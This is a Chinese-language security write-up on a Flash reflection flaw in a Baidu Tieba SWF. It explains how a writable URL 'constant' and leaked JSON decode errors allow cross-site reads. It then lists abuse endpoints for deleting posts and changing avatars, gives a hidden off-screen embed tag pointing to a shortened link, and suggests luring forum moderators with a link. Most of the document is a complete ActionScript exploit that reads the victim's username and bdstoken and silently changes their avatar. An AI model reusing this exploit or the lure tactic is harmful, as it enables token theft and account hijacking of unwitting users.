flash 反射提权。原理 http://drops.wooyun.org/papers/5732,这次演示的是第3个Demo的方式。
### 原理
问题 SWF:http://tieba.baidu.com/tb/static-itieba3/swf/itiebaVote.swf
其中 baidu.vote.DataManager.requestPageData() 可以发请求。
请求地址没写死,从 baidu.vote.enumerate.Constants.URL_VOTE_DETAIL 读取。(这个程序猿也够弱的,居然是用 var 定义的。如果是 const 那还改不了)
每次请求前修改这个伪常量,就可发起跨站请求。
同时,数据返回时调用了 PostVoteResult.fromString(),其中使用 JSON 解码。之前文中介绍过,即使不是 JSON 格式的数据,也可以通过全局异常捕获,接住解码时的错误,从中获取页面信息。
### 利用
http://tieba.baidu.com/ 可获取登录的账号名。
http://tieba.baidu.com/home/profile?un={nick} 可获取 bdstoken、portrait
删帖:
POST http://tieba.baidu.com/f/commit/post/delete
tbs={页面中可获取}
kw={吧名}
tid={帖子 id}
user_name={nick}
pid={页面中可获取}
delete_my_post=1
delete_my_thread=0
is_vipdel=1
is_finf=false
修改头像
http://himg.baidu.com/sys/corpupload?callback=A&coordX=0&coordY=0&coordW=200&coordH=200&psign={portrait}&picId=21751076141&bdstoken={bdstoken}
...
贴吧大部分接口都没验证 referer,所有都能成功。
由于发帖需要验证码,搞成蠕虫有点麻烦。但控制了吧主账号的话,还是可以通过 HTTP 隧道的方式,人工发帖。(给吧主发个超链接,里面放些有趣的东西,让他多停留一会)
这里给个自动修改百度用户头像的 Demo:
http://www.etherdream.com/hack/tieba-joke/exp.swf
直接访问,或嵌套在任意页面:
<embed src="//t.cn/RAY0j61" allowScriptAccess="always" style="position:absolute; top:-999px;">
即可修改已登录的百度账号头像。
package {
import flash.display.*;
import flash.events.*;
import flash.net.*;
import flash.system.*;
import flash.utils.*;
public class exp extends Sprite {
private static const PATH:String =
'baidu.vote.DataManager'
private static const URL:String =
'http://tieba.baidu.com/tb/static-itieba3/swf/itiebaVote.swf'
private var clsExp:*;
private var clsRes:*;
public function exp() {
Security.allowDomain('*');
var ld:Loader = new Loader();
ld.load(new URLRequest(URL));
addChild(ld);
var tid:uint = setInterval(function() : void {
try {
clsExp = ld.contentLoaderInfo.applicationDomain.getDefinition(PATH);
clsRes= ld.contentLoaderInfo.applicationDomain.getDefinition('baidu.vote.enumerate.Constants');
} catch(e:Error) {
return;
}
clearInterval(tid);
ready();
}, 100);
}
private function load(url:String) : void {
var obj:* = clsExp.getInstance();
obj.requestPageData({
'r': 1,
'voteId': 1,
'tn': 1
});
clsRes.URL_VOTE_DETAIL = url + '#';
obj.requestVoteDetail();
}
private function ready() : void {
loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function(e:UncaughtErrorEvent) : void {
complete(e.error.text);
});
load('http://tieba.baidu.com/');
}
private var stat:int = 0;
private var nick:String;
private var bdstoken:String, portrait:String;
private function complete(data:String) : void {
var arr:Array;
switch (stat) {
case 0:
// get nick (from main page)
arr = data.match(/"name": "([^"]+)/);
if (arr) nick = arr[1];
if (!nick) {
trace('fail get nick');
return;
}
trace('nick:', nick);
load('http://tieba.baidu.com/home/profile?un=' + nick);
break;
case 1:
// get token (from profile page)
arr = data.match(/\[PageData, '([^']+)/);
if (arr) bdstoken = arr[1];
if (!bdstoken) {
trace('fail get bdstoken');
return;
}
trace('bdstoken:', bdstoken);
// get portrait
arr = data.match(/portrait": "([^"]+)/);
if (arr) portrait = arr[1];
if (!portrait) {
trace('fail get portrait');
return;
}
trace('portrait:', portrait);
// new avatar
var url:String = 'http://himg.baidu.com/sys/corpupload?callback=A&coordX=0&coordY=0&coordW=200&coordH=200&psign=' + portrait + '&picId=21751076141&bdstoken=' + bdstoken;
sendToURL(new URLRequest(url));
break;
}
stat++;
}
}
}